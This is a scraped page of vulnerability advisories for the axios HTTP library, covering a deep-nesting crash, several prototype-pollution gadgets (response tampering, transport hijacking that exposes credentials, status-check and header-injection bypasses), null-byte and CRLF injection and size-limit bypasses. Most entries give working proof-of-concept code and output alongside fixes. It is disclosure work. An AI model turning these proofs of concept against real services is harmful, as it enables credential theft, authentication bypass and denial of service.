Where
AND
-Infinity
0
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

Details lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

PoC js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data';

function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; }

try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded

Server-side reachability example: js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

Impact A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.

---

Background: how mergeConfig builds the config object

Every axios request goes through Axios.request in lib/core/Axios.js#L76:

js config = mergeConfig(this.defaults, config);

Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):

js const config = {};

A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.

---

Gadget 1: parseReviver -- response tampering and exfiltration

Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6

Root cause

The default transformResponse function calls JSON.parse(data, this.parseReviver):

js return JSON.parse(data, this.parseReviver);

this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.

The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:

js forcedJSONParsing: true,

which activates the JSON parse path unconditionally when responseType is unset.

JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.

There is no interaction with assertOptions here. The assertOptions call in Axios.request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.

Verification: own-property check

js import { createRequire } from 'module'; const require = createRequire(import.meta.url); const mergeConfig = require('./lib/core/mergeConfig.js').default; const defaults = require('./lib/defaults/index.js').default;

const merged = mergeConfig(defaults, { url: '/test', method: 'get' }); console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; }; console.log(merged.parseReviver); // [Function (anonymous)] -- inherited delete Object.prototype.parseReviver;

Proof of concept

Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.

Terminal 1 -- server (servergadget1.mjs):

js import http from 'http';

const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tokrealabc' })); });

server.listen(19003, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19003'); });

$ node servergadget1.mjs [server] listening on 127.0.0.1:19003 [server] request: GET /

Terminal 2 -- client (pocparsereviver.mjs):

js import axios from 'axios';

// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via .merge). // In a real application this would be set before any axios request runs. Object.prototype.parseReviver = function (key, value) { // Called for every key-value pair in every JSON response parsed by axios in this process. if (key !== '') { // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint. console.log('[exfil]', key, '=', JSON.stringify(value)); } // Tamper: escalate role, inflate balance. if (key === 'role') return 'admin'; if (key === 'balance') return 999999; return value; };

const res = await axios.get('http://127.0.0.1:19003/'); console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;

$ node pocparsereviver.mjs [exfil] role = "user" [exfil] balance = 100 [exfil] token = "tokrealabc" [app] received: {"role":"admin","balance":999999,"token":"tokrealabc"}

The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.

---

Gadget 2: transport -- full HTTP request hijacking with credentials

Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)

Root cause

Inside the Node.js http adapter at lib/adapters/http.js#L676:

js if (config.transport) { transport = config.transport; }

transport is listed in mergeMap inside mergeConfig (line 88):

js transport: defaultToConfig2,

but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.

The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.

The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:

- options.hostname, options.port, options.path -- full target URL - options.auth -- basic auth credentials in "username:password" form (set at line 606) - options.headers -- all request headers as a plain object

Proof of concept

Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.

Terminal 1 -- server (servergadget2.mjs):

js import http from 'http';

const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)'); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"ok":true}'); });

server.listen(19002, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19002'); });

$ node servergadget2.mjs [server] listening on 127.0.0.1:19002 [server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==

Terminal 2 -- client (poctransport.mjs):

js import axios from 'axios'; import http from 'http';

Object.prototype.transport = { request(options, handleResponse) { // Intercept: called for every outbound request in this process. console.log('[hijack] target:', options.hostname + ':' + options.port + options.path); console.log('[hijack] auth:', options.auth); console.log('[hijack] headers:', JSON.stringify(options.headers)); // Forward to the real transport so the caller sees a normal 200. return http.request(options, handleResponse); }, };

const res = await axios.get('http://127.0.0.1:19002/api/users', { auth: { username: 'svcaccount', password: 'hunter2' }, }); console.log('[app] response status:', res.status);

delete Object.prototype.transport;

$ node poctransport.mjs [hijack] target: 127.0.0.1:19002/api/users [hijack] auth: svcaccount:hunter2 [hijack] headers: {"Accept":"application/json, text/plain, /","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"} [app] response status: 200

The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.

---

Additional gadget: transformRequest / transformResponse

Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.

This one requires a discriminator because assertOptions in Axios.request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).

Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.

---

Why the existing fix does not cover these

PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"proto": {"x": 1}} as the config object, which caused mergeMap['proto'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on proto, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....

That fix only addresses config keys that are explicitly set to proto (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.

---

Suggested fixes

For parseReviver (lib/defaults/index.js#L124): js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver);

For mergeConfig value reads (lib/core/mergeConfig.js#L102): js const configValue = merge( config1[prop], utils.hasOwnProp(config2, prop) ? config2[prop] : undefined, prop );

For transport and other adapter reads from config (lib/adapters/http.js#L676): js if (utils.hasOwnProp(config, 'transport') && config.transport) { transport = config.transport; }

The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.

---

Environment

- axios: 1.13.6 - Node.js: 22.22.0 - OS: macOS 14 - Reproduction: confirmed in isolated test harness, both gadgets independently verified

Disclosure

Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } }

// mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy };

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

javascript Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 }

3. The Execution

javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! }

4. The Impact

Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage()

After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500

--- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

- Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } }

Resources

- CWE-1321: Prototype Pollution - CWE-287: Improper Authentication - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - MDN: in operator - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |

1 / 3
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

javascript // lib/adapters/http.js } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { headers.set(data.getHeaders()); // ... }

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js javascript const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) }

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package javascript // Returns true if Object.prototype.getHeaders is a function utils.isFunction(data.getHeaders)

PoC

javascript // Simulate Prototype Pollution Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = () => {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); (.... Introduce here all the headers you want ....) return headers; }; Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; }; Object.prototype.on = function() { return this; }; Object.prototype.once = function() { return this; };

// Legitimate application code const response = await axios.post('https://internal-api.company.com/admin/delete', { userId: 42 }, { headers: { 'Authorization': 'Bearer VALIDUSERTOKEN' } } );

Impact

- Authentication Bypass (CVSS: C:H) - Session Fixation (CVSS: I:H) - Privilege Escalation (CVSS: C:H, I:H) - IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

diff - } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { - headers.set(data.getHeaders()); + } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && + Object.prototype.hasOwnProperty.call(data, 'getHeaders')) { + headers.set(data.getHeaders());

1 / 2
Source: GitHub
First published (updated )
Severity
3.7
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7) Affected Versions: All versions containing this charMap entry Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE

- CWE-626: Null Byte Interaction Error (Poison Null Byte) - CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | Attacker controls input parameters remotely | | Attack Complexity | High | Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact limited to HTTP request URL | | Confidentiality | None | No confidentiality impact | | Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser | | Availability | None | No availability impact |

Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

javascript function encode(str) { const charMap = { '!': '%21', // literal → encoded (SAFE direction) "'": '%27', // literal → encoded (SAFE direction) '(': '%28', // literal → encoded (SAFE direction) ')': '%29', // literal → encoded (SAFE direction) '~': '%7E', // literal → encoded (SAFE direction) '%20': '+', // standard transformation (SAFE) '%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!) }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); }

Why the Standard Flow Is NOT Affected

javascript // buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's const encode = (options && options.encode) || encode; // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams new AxiosURLSearchParams(params, options).toString(encode); // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used const encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode; // ^^^^^^ // internal encode passed as 2nd arg but only used if // the external encoder explicitly delegates to it

Proof of Concept

javascript import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js'; import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path) const params = new AxiosURLSearchParams({ file: 'test\x00.txt' }); const result = params.toString(); // NO encoder → uses internal encode with charMap console.log('Direct toString():', JSON.stringify(result)); // Output: "file=test\u0000.txt" (contains raw null byte) console.log('Hex:', Buffer.from(result).toString('hex')); // Output: 66696c653d74657374002e747874 (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow) const url = buildURL('http://example.com/api', { file: 'test\x00.txt' }); console.log('Via buildURL:', url); // Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt" Contains raw null byte: true Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt Contains raw null byte: false Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

- Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected - Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug - Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

javascript function encode(str) { const charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', // REMOVED: '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) { // ^^^^ removed |%00 return charMap[match]; }); }

Resources

- CWE-626: Null Byte Interaction Error - CWE-116: Improper Encoding or Escaping of Output - OWASP: Embedding Null Code - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS | | TBD | Report submitted to vendor via GitHub Security Advisory |

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
SSRF
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for noproxy hostname normalization bypass is incomplete. When noproxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

1 / 2
Source: MITRE
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

Details

Relevant flow in lib/adapters/http.js: - 556-564: maxBodyLength check applies only to buffered/non-stream data. - 681-682: maxRedirects === 0 selects native http/https transport. - 694-699: options.maxBodyLength is set, but native transport does not enforce it. - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

### PoC

Environment:

- Axios main at commit f7a4ee2 - Node v24.2.0

Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: - adapter: 'http' - maxBodyLength: 1024 - maxRedirects: 0

Observed: - Request succeeds; server reports received: 2097152.

Control checks: - Same stream with default/nonzero redirects: rejected with ERRFRMAXBODYLENGTHEXCEEDED. - Buffered body with maxRedirects: 0: rejected with ERRBADREQUEST.

### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment: - Axios main at commit f7a4ee2 - Node v24.2.0

Steps:

1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: - adapter: 'http' - responseType: 'stream' - maxContentLength: 1024 3. Read the returned stream fully.

Observed: - Success; full 2097152 bytes readable.

Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CRLF Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

Details In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF}; } Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.

Attack chain:

1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences 2. The proxy appends the file to a FormData and posts it via axios.post(url, formData) 3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate

This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.

PoC Prerequisites: Node.js 18+, axios (tested on 1.14.0) const http = require('http'); const axios = require('axios');

let receivedBody = '';

const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); });

server.listen(0, '127.0.0.1', async () => { const port = server.address().port;

class SpecFormData { constructor() { this.entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this.entries.push([name, value]); } Symbol.iterator { return this.entriesSymbol.iterator; } entries() { return this.entriesSymbol.iterator; } }

const fd = new SpecFormData();

fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function() { yield Buffer.from('MALICIOUS PAYLOAD'); } });

await axios.post(http://127.0.0.1:${port}/upload, fd);

if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOTVULNERABLE]'); }

server.close(); });

Steps to reproduce:

1. npm install axios 2. Save the above as pocaxioscrlf.js 3. Run node pocaxioscrlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body

Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.

Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.

Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += Content-Type: ${safeType}${CRLF};

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

